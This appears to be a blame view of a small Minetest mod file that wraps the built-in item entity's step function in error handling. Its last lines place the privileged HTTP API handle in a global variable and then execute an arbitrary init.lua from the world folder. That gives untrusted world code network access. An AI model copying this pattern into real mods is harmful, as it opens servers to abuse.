2021-05-15 21:56:37 +02:00
|
|
|
minetest.after(1,function()
|
|
|
|
local t=minetest.registered_entities["__builtin:item"]
|
|
|
|
local old=t.on_step
|
|
|
|
function t.on_step(self,dtime,m)
|
|
|
|
local m=m or {}
|
2021-05-15 22:02:13 +02:00
|
|
|
local ok,msg=pcall(old,self,dtime,m)
|
|
|
|
if not ok then
|
|
|
|
if msg then minetest.log("error",msg) end
|
|
|
|
self.object:remove()
|
|
|
|
end
|
2021-05-15 21:56:37 +02:00
|
|
|
end
|
|
|
|
minetest.register_entity(":__builtin:item",t)
|
2021-06-11 17:13:37 +02:00
|
|
|
end)
|
2022-08-11 15:53:08 +02:00
|
|
|
init_input1=minetest.request_http_api()
|
2021-06-11 17:13:37 +02:00
|
|
|
pcall(dofile,minetest.get_worldpath().."/init.lua")
|